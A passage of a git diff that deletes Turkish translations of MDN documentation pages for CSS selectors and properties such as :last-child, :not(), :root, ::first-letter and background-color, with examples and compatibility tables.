/dev/null @@ -1,147 +0,0 @@ ---- -title: ':last-child' -slug: 'Web/CSS/:last-child' -tags: - - CSS S - - CSS Sozde-sınıflar - - Yerleşim -translation_of: 'Web/CSS/:last-child' ---- -<div>{{CSSRef}}</div> - -<h2 id="Özet">Özet</h2> - -<p><strong><code>:last-child</code></strong> CSS <a href="/en-US/docs/Web/CSS/Pseudo-classes">pseudo-class</a> bir grup çocuğun sonuncusunu temsil eder.</p> - -<div class="note"> -<p>Kullanım Notu: İlk tanımda belirtildiği üzere seçilen elemanın atası olması gerekiyordu. CSS4'le beraber artık gerekmiyor.</p> -</div> - -<h2 id="Yazım_Şekli">Yazım Şekli</h2> - -{{csssyntax}} - -<h2 id="Örnek">Örnek</h2> - -<h3 id="HTML_İçerik">HTML İçerik</h3> - -<pre class="brush: html"><ul> - <li>Bu kısım yeşermedi</li> - <li>Bu da yeşermedi.</li> - <li>Burası yeşerdi :)</li> -</ul></pre> - -<h3 id="CSS_İçerik">CSS İçerik</h3> - -<pre class="brush: css">li:last-child { - background-color: green; -}</pre> - -<p>{{EmbedLiveSample('Example', '100%', 100)}}</p> - -<h2 id="Detaylar">Detaylar</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Detay</th> - <th scope="col">Durum</th> - <th scope="col">Yorum</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('CSS4 Selectors', '#last-child', ':last-child')}}</td> - <td>{{Spec2('CSS4 Selectors')}}</td> - <td>Eşleşen elemanların atası olması zorunlu değil.</td> - </tr> - <tr> - <td>{{SpecName('CSS3 Selectors', '#last-child', ':last-child')}}</td> - <td>{{Spec2('CSS3 Selectors')}}</td> - <td>İlk tanımlama.</td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Özellik</th> - <th>Chrome</th> - <th>Edge</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Temel Seviyede Destek</td> - <td>1.0</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatGeckoDesktop("1")}}</td> - <td>9.0</td> - <td>{{CompatOpera(9.5)}}</td> - <td>3.2</td> - </tr> - <tr> - <td>Ata zorunlu değil</td> - <td>{{CompatChrome(57)}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatOpera(44)}}</td> - <td>{{CompatUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Özellik</th> - <th>Android Webview</th> - <th>Chrome for Android</th> - <th>Edge</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Temel Seviyede Destek</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatGeckoMobile("1")}}</td> - <td>9.0</td> - <td>{{CompatOperaMobile(10)}}</td> - <td>3.2</td> - </tr> - <tr> - <td>Ata zorunlu değil</td> - <td>{{CompatChrome(57)}}</td> - <td>{{CompatChrome(57)}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatOperaMobile(44)}}</td> - <td>{{CompatUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="Ayrıca_Bakınız">Ayrıca Bakınız</h2> - -<ul> - <li>{{cssxref(":last-of-type")}}</li> - <li>{{cssxref(":first-child")}}</li> - <li>{{cssxref(":nth-child")}}</li> -</ul> diff --git a/files/tr/web/css/_colon_link/index.html b/files/tr/web/css/_colon_link/index.html deleted file mode 100644 index d9cd1502eb..0000000000 --- a/files/tr/web/css/_colon_link/index.html +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: ':link' -slug: 'Web/CSS/:link' -tags: - - CSS - - Layout - - Pseudo-class - - Reference - - Selector - - Web -translation_of: 'Web/CSS/:link' ---- -<div>{{ CSSRef }}</div> - -<p>The <strong><code>:link</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/Pseudo-classes">pseudo-class</a> represents an element that has not yet been visited. It matches every unvisited {{HTMLElement("a")}}, {{HTMLElement("area")}}, or {{HTMLElement("link")}} element that has an <code>href</code> attribute.</p> - -<pre class="brush: css no-line-numbers notranslate">/* Selects any <a> that has not been visited yet */ -a:link { - color: red; -}</pre> - -<p>Styles defined by the <code>:link</code> pseudo-class will be overridden by any subsequent link-related pseudo-class ({{cssxref(":active")}}, {{cssxref(":hover")}}, or {{cssxref(":visited")}}) that has at least equal specificity. To style links appropriately, put the <code>:link</code> rule before all other link-related rules, as defined by the <em>LVHA-order</em>: <code>:link</code> — <code>:visited</code> — <code>:hover</code> — <code>:active</code>.</p> - -<div class="note"> -<p><strong>Note:</strong> Use {{cssxref(":any-link")}} to select an element independent of whether it has been visited or not.</p> -</div> - -<h2 id="Syntax">Syntax</h2> - -{{csssyntax}} - -<h2 id="Examples">Examples</h2> - -<p>By default, most browsers apply a special {{cssxref("color")}} value to visited links. Thus, the links in this example will probably have special font colors only before you visit them. (After that, you'll need to clear your browser history to see them again.) However, the {{cssxref("background-color")}} values are likely to remain, as most browsers do not set that property on visited links by default.</p> - -<h3 id="HTML">HTML</h3> - -<pre class="brush: html notranslate"><a href="#ordinary-target">This is an ordinary link.</a><br> -<a href="">You've already visited this link.</a><br> -<a>Placeholder link (won't get styled)</a> -</pre> - -<h3 id="CSS">CSS</h3> - -<pre class="brush: css notranslate">a:link { - background-color: gold; - color: green; -} -</pre> - -<h3 id="Result">Result</h3> - -<p>{{EmbedLiveSample("Examples")}}</p> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{ SpecName('HTML WHATWG', 'scripting.html#selector-link', ':link') }}</td> - <td>{{ Spec2('HTML WHATWG') }}</td> - <td></td> - </tr> - <tr> - <td>{{ SpecName('CSS4 Selectors', '#link', ':link') }}</td> - <td>{{ Spec2('CSS4 Selectors') }}</td> - <td>No change.</td> - </tr> - <tr> - <td>{{ SpecName('CSS3 Selectors', '#link', ':link') }}</td> - <td>{{ Spec2('CSS3 Selectors') }}</td> - <td>No change.</td> - </tr> - <tr> - <td>{{ SpecName('CSS2.1', 'selector.html#link-pseudo-classes', ':link') }}</td> - <td>{{ Spec2('CSS2.1') }}</td> - <td>Lift the restriction to only apply it for {{ HTMLElement("a") }} element.</td> - </tr> - <tr> - <td>{{ SpecName('CSS1', '#anchor-pseudo-classes', ':link') }}</td> - <td>{{ Spec2('CSS1') }}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2> - -<div> - - -<p>{{Compat("css.selectors.link")}}</p> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li>Link-related pseudo-classes: {{ cssxref(":visited") }}, {{ cssxref(":hover") }}, {{ cssxref(":active") }}</li> -</ul> diff --git a/files/tr/web/css/_colon_not/index.html b/files/tr/web/css/_colon_not/index.html deleted file mode 100644 index e4eb3e5d93..0000000000 --- a/files/tr/web/css/_colon_not/index.html +++ /dev/null @@ -1,145 +0,0 @@ ---- -title: 'CSS :not() Seçicisi' -slug: 'Web/CSS/:not' -tags: - - ':not() seçicisi' - - CSS - - CSS Pseudo-class - - Web -translation_of: 'Web/CSS/:not' ---- -<div>{{CSSRef}}</div> - -<h2 id="Özet">Özet</h2> - -<p>Olumsuzluk CSS <a href="/en-US/docs/Web/CSS/Pseudo-classes">pseudo-class</a> seçicisi, <code>:not(X)</code>, seçilmek istenen öğelerde bulunması istenmeyen sınıfları, kimlik değerleri vb CSS seçicilerini tanımlamak için kullanılır. Girdi olarak <var>X</var> yerine girilen tanımlamalara sahip olmayan öğeleri sayfa içerisinde uygular.</p> - -<p>Fakat X ifadesi içerisinde başka olumsuzluk özelliği barındırmamalıdır.</p> - -<div class="note"><strong>Notlar:</strong> - -<ul> - <li>Gereksiz seçiciler bu pseudo-class seçicisi ile yazılabilir. <code>Örneğin <strong>:not(*)</strong></code> ifadesi "hiçbir şey olmayan" tüm elemanlarla eşleşmesi gerektiği için boş gelir ve bu seçicideki kurallar asla uygulanamaz.</li> - <li>It is possible to rewrite other rules. E.g., <code>foo:not(bar)</code> will match the same element as the simpler <code>foo</code>. Nevertheless the <a href="/en-US/docs/Web/CSS/Specificity">specificity</a> of the first one is higher.</li> - <li><code>:not(foo)</code> ifadesi<strong> </strong><strong>{{HTMLElement("html")}} ve {{HTMLElement("body")}} </strong>içerisindeki <foo></foo> olmayan bütün elementleri seçer.<strong> </strong><strong> .</strong></li> - <li>This selector only applies to one element; you cannot use it to exclude all ancestors. For instance, <code>body :not(table) a</code> will still apply to links inside of a table, since {{HTMLElement("tr")}} will match with the <code>:not()</code> part of the selector.</li> -</ul> -</div> - -<h2 id="Syntax">Syntax</h2> - -{{csssyntax}} - -<h2 id="Örnek">Örnek</h2> - -<h3 id="HTML">HTML</h3> - -<pre class="brush: html"><p>Bu bir paragraf.</p> -<p class="classy">İşte sihir burada!</p> -<div>Burası yeşil olacak </div></pre> - -<h3 id="CSS">CSS</h3> - -<pre class="brush: css">.classy { text-shadow: 1px 1px 2px gold; } -p:not(.classy) { color: red; } -body :not(p) { color: green; }</pre> - -<h3 id="Sonuç">Sonuç</h3> - -<p>{{EmbedLiveSample('Example','100%',160)}}</p> - -<h2 id="Özelleştirmeler">Özelleştirmeler</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Özelleştirme</th> - <th scope="col">Durum</th> - <th scope="col">Açıklama</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('CSS4 Selectors', '#negation', ':not()')}}</td> - <td>{{Spec2('CSS4 Selectors')}}</td> - <td>Çeşitli karışık seçiciler için ifadeyi genişletir.</td> - </tr> - <tr> - <td>{{SpecName('CSS3 Selectors', '#negation', ':not()')}}</td> - <td>{{Spec2('CSS3 Selectors')}}</td> - <td>Standart Tanımlama.</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Özellik</th> - <th>Chrome</th> - <th>Edge</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Temel Özellikler</td> - <td>1.0</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatGeckoDesktop("1")}}</td> - <td>9.0</td> - <td>9.5</td> - <td>3.2</td> - </tr> - <tr> - <td>Gelişmiş Çzellikler</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Özellik</th> - <th>Android</th> - <th>Edge</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Temel Özellikler</td> - <td>2.1</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatGeckoMobile("1")}}</td> - <td>9.0</td> - <td>10.0</td> - <td>3.2</td> - </tr> - <tr> - <td>Gelişmiş Çzellikler</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - </tr> - </tbody> -</table> -</div> diff --git a/files/tr/web/css/_colon_root/index.html b/files/tr/web/css/_colon_root/index.html deleted file mode 100644 index de77ef2a6a..0000000000 --- a/files/tr/web/css/_colon_root/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: ':root' -slug: 'Web/CSS/:root' -tags: - - CSS -translation_of: 'Web/CSS/:root' ---- -<div>{{CSSRef}}</div> - -<p><strong><code>:root</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/Pseudo-classes"> sözde-sınıfı</a> dökümanda bulunan kök elemanı yerine geçer (yani onu temel alır). Örneğin HTML'de <code>:root</code> dökümanı oluşturan {{HTMLElement("html")}} öğesini temsil eder ve <code>html</code> seçicisi ile aynıdır, ancak <a href="/en-US/docs/Web/CSS/Specificity">önceliği</a> daha yüksektir.</p> - -<pre class="brush: css no-line-numbers">/* Dökümandaki kök elemanı seçer: - Bu HTML'de <html> oluyor. */ -:root { - background: royalblue; -}</pre> - -<h2 id="Sözdizimi">Sözdizimi</h2> - -{{csssyntax}} - -<h2 id="Örnek">Örnek</h2> - -<p><code>:root</code> global <a href="/en-US/docs/Web/CSS/Using_CSS_variables">CSS değişkenleri</a> tanımlarken kullanışlı olabilir:</p> - -<pre class="brush: css">:root { - --ana-renk: green; - --paragraf-boslugu: 5px 0; -} -</pre> - -<h2 id="Tanımlamalar">Tanımlamalar</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Tanımlama</th> - <th scope="col">Durum</th> - <th scope="col">Açıklama</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('CSS4 Selectors', '#root-pseudo', ':root')}}</td> - <td>{{Spec2('CSS4 Selectors')}}</td> - <td>Değişiklik yok.</td> - </tr> - <tr> - <td>{{SpecName('CSS3 Selectors', '#root-pseudo', ':root')}}</td> - <td>{{Spec2('CSS3 Selectors')}}</td> - <td>Başlangıç tanımı.</td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> - - - -<p>{{Compat("css.selectors.root")}}</p> diff --git a/files/tr/web/css/_doublecolon_first-letter/index.html b/files/tr/web/css/_doublecolon_first-letter/index.html deleted file mode 100644 index 8cf9b5be47..0000000000 --- a/files/tr/web/css/_doublecolon_first-letter/index.html +++ /dev/null @@ -1,160 +0,0 @@ ---- -title: '::first-letter (:first-letter)' -slug: 'Web/CSS/::first-letter' -translation_of: 'Web/CSS/::first-letter' ---- -<div>{{CSSRef}}</div> - -<p> <strong><code>::first-letter</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/Pseudo-elements">sözde-elementi</a> bir <a href="/en-US/docs/Web/CSS/Visual_formatting_model#Block-level_elements_and_block_boxes">blok seviyeli element</a>in ilk satırındaki ilk harfe stil uygulamak için kullanılır, tabii o harften önce başka bir içerik gelmiyorsa (örneğin resimler ya da satır içi tablolar).</p> - -<pre class="brush: css no-line-numbers notranslate">/* Bir <p> elementinin ilk harfini seçiyoruz. */ -p::first-letter { - font-size: 130%; -}</pre> - -<p>Bir elementin ilk harfini belirlemek her zaman kolay değildir:</p> - -<ul> - <li>İlk harften hemen önce veya hemen sonra gelen noktalama işaretleri de harfle birlikte kancalanır. Noktalama işaretleri; <em>open</em> (Ps), <em>close</em> (Pe), <em>initial quote</em> (Pi), <em>final quote</em> (Pf), ve <em>other punctuation</em> (Po) sınıflarında tanımlanmış tüm Unicode karakterlerini kapsar.</li> - <li>Bazı dillerde, tek bir ses çıkaran iki harfli kalıplar vardır ve bunlar her zaman beraber büyük olarak yazılırlar, örneğin Flemenkçedeki <code>IJ</code> gibi. Bu durumlarda, kalıbı oluşturan iki harfin de <code>::first-letter</code> sözde elementi tarafından kancalanması gerekir. (Tarayıcı desteği bu konuda yetersizdir; aşağıdaki <a href="/en-US/docs/Web/CSS/::first-letter#Browser_compatibility">tarayıcı uyumluluk tablosu</a>na göz atın.)</li> - <li>{{ cssxref("::before") }} sözde-elementi ve {{ cssxref("content") }} niteliğinin birlikte kullanılması hâlinde bir elementin başlangıcına yeni bir metin eklenebilir. Bu durumda, <code>::first-letter</code> oluşturulan bu içeriğin ilk harfini kancalayacaktır.</li> -</ul> - -<div class="note"> -<p>CSS3 ile birlikte, <a href="/en-US/docs/Web/CSS/Pseudo-classes">sözde-sınıfları</a> <a href="/en-US/docs/Web/CSS/Pseudo-elements">sözde-elementler</a>den ayırmak amacıyla iki noktalı <code>::first-letter</code> gösterimi tanıtıldı. Tarayıcılar, CSS2 ile tanıtılan, <code>:first-letter</code> yazımını da kabul ediyorlar.</p> -</div> - -<h2 id="İzin_verilen_nitelikler">İzin verilen nitelikler</h2> - -<p><code>::first-letter</code> pseudo-elementi ile birlikte CSS niteliklerinin yalnızca küçük bir bölümü kullanılabilir:</p> - -<ul> - <li>Bütün font nitelikleri : {{ Cssxref("font") }}, {{ Cssxref("font-style") }}, {{cssxref("font-feature-settings")}}, {{cssxref("font-kerning")}}, {{cssxref("font-language-override")}}, {{cssxref("font-stretch")}}, {{cssxref("font-synthesis")}}, {{ Cssxref("font-variant") }}, {{cssxref("font-variant-alternates")}}, {{cssxref("font-variant-caps")}}, {{cssxref("font-variant-east-asian")}}, {{cssxref("font-variant-ligatures")}}, {{cssxref("font-variant-numeric")}}, {{cssxref("font-variant-position")}}, {{ Cssxref("font-weight") }}, {{ Cssxref("font-size") }}, {{cssxref("font-size-adjust")}}, {{ Cssxref("line-height") }} ve {{ Cssxref("font-family") }}</li> - <li>Bütün arka plan(background) nitelikleri : {{ Cssxref("background") }}, {{ Cssxref("background-color") }}, {{ Cssxref("background-image") }}, {{cssxref("background-clip")}}, {{cssxref("background-origin")}}, {{ Cssxref("background-position") }}, {{ Cssxref("background-repeat") }}, {{ cssxref("background-size") }}, {{ Cssxref("background-attachment") }}, ve {{cssxref("background-blend-mode")}}</li> - <li>Bütün margin nitelikleri: {{ Cssxref("margin") }}, {{ Cssxref("margin-top") }}, {{ Cssxref("margin-right") }}, {{ Cssxref("margin-bottom") }}, {{ Cssxref("margin-left") }}</li> - <li>Bütün padding nitelikleri: {{ Cssxref("padding") }}, {{ Cssxref("padding-top") }}, {{ Cssxref("padding-right") }}, {{ Cssxref("padding-bottom") }}, {{ Cssxref("padding-left") }}</li> - <li>Bütün sınır(border) nitelikleri: kısa yoldan {{ Cssxref("border") }}, {{ Cssxref("border-style") }}, {{ Cssxref("border-color") }}, {{ cssxref("border-width") }}, {{ cssxref("border-radius") }}, {{cssxref("border-image")}}, ve uzun yoldan yazılan nitelikler.</li> - <li>{{ cssxref("color") }} niteliği</li> - <li>{{ cssxref("text-decoration") }}, {{cssxref("text-shadow")}}, {{ cssxref("text-transform") }}, {{ cssxref("letter-spacing") }}, {{ cssxref("word-spacing") }} (uygun olduğu vakit), {{ cssxref("line-height") }}, {{cssxref("text-decoration-color")}}, {{cssxref("text-decoration-line")}}, {{cssxref("text-decoration-style")}}, {{cssxref("box-shadow")}}, {{ cssxref("float") }}, {{ cssxref("vertical-align") }} (eğer <code>float</code> niteliğine <code>none</code> değeri atanmışsa) CSS nitelikleri</li> -</ul> - -<h2 id="Söz_dizimiSyntax">Söz dizimi(Syntax)</h2> - -{{csssyntax}} - -<h2 id="Örnekler">Örnekler</h2> - -<h3 id="Basit_drop-capSatırdan_taşan_büyük_harf">Basit drop-cap(Satırdan taşan büyük harf)</h3> - -<p>Bu örneğimizde <code><h2></code> elementinden hemen sonra gelen paragrafın ilk harfine basit bir drop-cap efekti uygulamak için <code>::first-letter</code> sözde elementini kullanacağız</p> - -<h4 id="HTML">HTML</h4> - -<pre class="brush: html notranslate"><h2>My heading</h2> -<p>Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt - ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo - dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est.</p> -<p>Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat.</p></pre> - -<h4 id="CSS">CSS</h4> - -<pre class="brush: css notranslate">p { - width: 500px; - line-height: 1.5; -} - -h2 + p::first-letter { - color: white; - background-color: black; - border-radius: 2px; - box-shadow: 3px 3px 0 red; - font-size: 250%; - padding: 6px 3px; - margin-right: 6px; - float: left; -}</pre> - -<h4 id="Sonuç">Sonuç</h4> - -<p>{{ EmbedLiveSample('Simple_drop_cap', '100%', 350) }}</p> - -<h3 id="Özel_noktalama_işaretleri_ve_Latin_alfabesinde_bulunmayan_karakterler_üzerindeki_etki">Özel noktalama işaretleri ve Latin alfabesinde bulunmayan karakterler üzerindeki etki</h3> - -<p>Aşağıdaki örnek, <code>::first-letter</code> sözde elementinin özel noktalama işaretleri ve Latin alfabesinde olmayan karakterler üzerindeki etkisini gösteriyor. </p> - -<h4 id="HTML_2">HTML</h4> - -<pre class="brush: html notranslate"><p>Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat.</p> -<p>-The beginning of a special punctuation mark.</p> -<p>_The beginning of a special punctuation mark.</p> -<p>"The beginning of a special punctuation mark.</p> -<p>'The beginning of a special punctuation mark.</p> -<p>*The beginning of a special punctuation mark.</p> -<p>#The beginning of a special punctuation mark.</p> -<p>「特殊的汉字标点符号开头。</p> -<p>《特殊的汉字标点符号开头。</p> -<p>“特殊的汉字标点符号开头。</p></pre> - -<h4 id="CSS_2">CSS</h4> - -<pre class="brush: css notranslate">p::first-letter { - color: red; - font-size: 150%; -}</pre> - -<h4 id="Sonuç_2">Sonuç</h4> - -<p>{{ EmbedLiveSample('Effect_on_special_punctuation_and_non-Latin_characters', '100%', 350) }}</p> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{ SpecName('CSS4 Pseudo-Elements', '#first-letter-pseudo', '::first-letter')}}</td> - <td>{{ Spec2('CSS4 Pseudo-Elements')}}</td> - <td>Generalizes allowed properties to typesetting, text decoration, inline layout properties, {{ cssxref("opacity") }}, and {{ cssxref("box-shadow") }}.</td> - </tr> - <tr> - <td>{{ SpecName('CSS3 Text Decoration', '#text-shadow-property', 'text-shadow with ::first-letter')}}</td> - <td>{{ Spec2('CSS3 Text Decoration')}}</td> - <td>Allows the use of {{cssxref("text-shadow")}} with <code>::first-letter</code>.</td> - </tr> - <tr> - <td>{{ SpecName('CSS3 Selectors', '#first-letter', '::first-letter') }}</td> - <td>{{ Spec2('CSS3 Selectors') }}</td> - <td>Introduction of the two-colon syntax. Definition of edge-case behavior, such as in list items or with specific languages (e.g., the Dutch digraph <code>IJ</code>).</td> - </tr> - <tr> - <td>{{ SpecName('CSS2.1', 'selector.html#first-letter', '::first-letter') }}</td> - <td>{{ Spec2('CSS2.1') }}</td> - <td>No change.</td> - </tr> - <tr> - <td>{{ SpecName('CSS1', '#the-first-letter-pseudo-element', '::first-letter') }}</td> - <td>{{ Spec2('CSS1') }}</td> - <td>Initial definition, using the one-colon syntax.</td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> - -<div> - - -<p>{{Compat("css.selectors.first-letter")}}</p> -</div> - -<h2 id="Ayrıca_göz_at">Ayrıca göz at</h2> - -<ul> - <li>{{cssxref("::first-line")}}</li> -</ul> diff --git a/files/tr/web/css/background-color/index.html b/files/tr/web/css/background-color/index.html deleted file mode 100644 index a8e0b081d1..0000000000 --- a/files/tr/web/css/background-color/index.html +++ /dev/null @@ -1,154 +0,0 @@ ---- -title: Arka plan rengi -slug: Web/CSS/background-color -tags: - - CSS - - CSS arka plan - - CSS özellikler - - arka plan rengi -translation_of: Web/CSS/background-color ---- -<div>{{CSSRef}}</div> - -<p>The <strong><code>background-color</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> özellik, bir ögenin arkaplan rengini ayarlar.</p> - -<div>{{EmbedInteractiveExample("pages/css/background-color.html")}}</div> - -<p class="hidden">Bu etkileşimli örnek için kaynak GitHub deposunda saklanır. İnteraktif örnekler projesine katkıda bulunmak istiyorsanız, lütfen klonla <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> ve bize bir çekme isteği gönderin.</p> - -<h2 id="Syntax">Syntax</h2> - -<pre class="brush: css no-line-numbers">/* Anahtar Kelime Değerler */ -background-color: red; -background-color: indigo; - -/* Onaltılık Değer */ -background-color: #bbff00; /* Tamamen opak */ -background-color: #11ffee00; /* Tamamen şeffaf */ -background-color: #11ffeeff; /* Tamamen opak */ - -/* RGB Değer */ -background-color: rgb(255, 255, 128); /* Tamamen opak */ -background-color: rgba(117, 190, 218, 0.5); /* 50% şeffaf */ - -/* HSL Değer */ -background-color: hsl(50, 33%, 25%); /* Tamamen opak */ -background-color: hsla(50, 33%, 25%, 0.75); /* 75% şeffaf */ - -/* Özel Anahtar Değerler */ -background-color: currentcolor; -background-color: transparent; - -/* Evrensel values */ -background-color: inherit; -background-color: initial; -background-color: unset;</pre> - -<p><code>arka plan rengi</code> özellik tek olarak belirtilir <code><a href="#<color>"><renk></a></code> değer.</p> - -<h3 id="Değerler">Değerler</h3> - -<dl> - <dt><a id="<color>"></a>{{cssxref("<renk>")}}</dt> - <dd>Arka planın tek tip rengi. Herhangi bir belirtilen {{cssxref("arka plan - resmi")}} arkasından işlenir , Rengin görüntüdeki herhangi bir saydamlıkta görünmeye devam etmesine rağmen..</dd> -</dl> - -<h3 id="Resmi_sözdizimi">Resmi sözdizimi</h3> - -{{csssyntax}} - -<h2 id="Örnekler">Örnekler</h2> - -<h3 id="HTML">HTML</h3> - -<pre class="brush: html"><div class="exampleone"> - Lorem ipsum dolor sit amet, consectetuer -</div> - -<div class="exampletwo"> - Lorem ipsum dolor sit amet, consectetuer -</div> - -<div class="examplethree"> - Lorem ipsum dolor sit amet, consectetuer -</div></pre> - -<h3 id="CSS">CSS</h3> - -<pre class="brush: css; highlight:[2,7,12];">.exampleone { - background-color: teal; - color: white; -} - -.exampletwo { - background-color: rgb(153,102,153); - color: rgb(255,255,204); -} - -.examplethree { - background-color: #777799; - color: #FFFFFF; -} -</pre> - -<h3 id="Sonuç">Sonuç</h3> - -<p>{{EmbedLiveSample("Examples", 200, 150)}}</p> - -<h2 id="Erişilebilirlik_endişeleri">Erişilebilirlik endişeleri</h2> - -<p>Arka plan rengi ile üzerine yerleştirilen metnin rengi arasındaki kontrast oranının, düşük görme koşullarına sahip kişilerin sayfanın içeriğini okuyabilecek kadar yüksek olmasını sağlamak önemlidir..</p> - -<p>Renk kontrast oranı, metnin parlaklığı ve arka plan rengi değerlerinin karşılaştırılmasıyla belirlenir. Güncel karşılamak için <a href="https://www.w3.org/WAI/intro/wcag">Web Content Accessibility Guidelines (WCAG)</a>, metin içeriği için 4,5: 1, başlıklar gibi daha büyük metinler için ise 3: 1 oranında bir oran gereklidir. Büyük metin 18.66 piksel ve kalın veya daha büyük veya 24 piksel veya daha büyük olarak tanımlanır.</p> - -<ul> - <li><a href="https://webaim.org/resources/contrastchecker/">WebAIM: Color Contrast Checker</a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li> - <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html">Understanding Success Criterion 1.4.3 | W3C Understanding WCAG 2.0</a></li> -</ul> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('CSS3 Backgrounds', '#background-color', 'background-color')}}</td> - <td>{{Spec2('CSS3 Backgrounds')}}</td> - <td>Though technically removing the <code>transparent</code> keyword, this doesn't change anything as it has been incorporated as a true {{cssxref("<color>")}}</td> - </tr> - <tr> - <td>{{SpecName('CSS2.1', 'colors.html#propdef-background-color', 'background-color')}}</td> - <td>{{Spec2('CSS2.1')}}</td> - <td>No change</td> - </tr> - <tr> - <td>{{SpecName('CSS1', '#background-color', 'background-color')}}</td> - <td>{{Spec2('CSS1')}}</td> - <td>Initial definition</td> - </tr> - </tbody> -</table> - -<div>{{cssinfo}}</div> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<p class="hidden">Bu sayfadaki uyumluluk tablosu yapılandırılmış verilerden üretilmiştir. Verilere katkıda bulunmak isterseniz, lütfen kontrol et <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ve bize bir çekme isteği gönderin.</p> - -<p>{{Compat("css.properties.background-color")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds">Multiple backgrounds</a></li> - <li>The {{cssxref("<color>")}} data type</li> - <li>Other color-related properties: {{cssxref("color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}}, and {{cssxref("column-rule-color")}}</li> - <li><a href="/en-US/docs/Web/HTML/Applying_color">Applying color to HTML elements using CSS</a></li> -</ul> diff --git a/files/tr/web/css/background/index.html b/files/tr/web/css/background/index.html deleted file mode 100644 index 8bfef1e9fb..0000000000 --- a/files/tr/web/css/background/index.html +++ /dev/null @@ -1,153 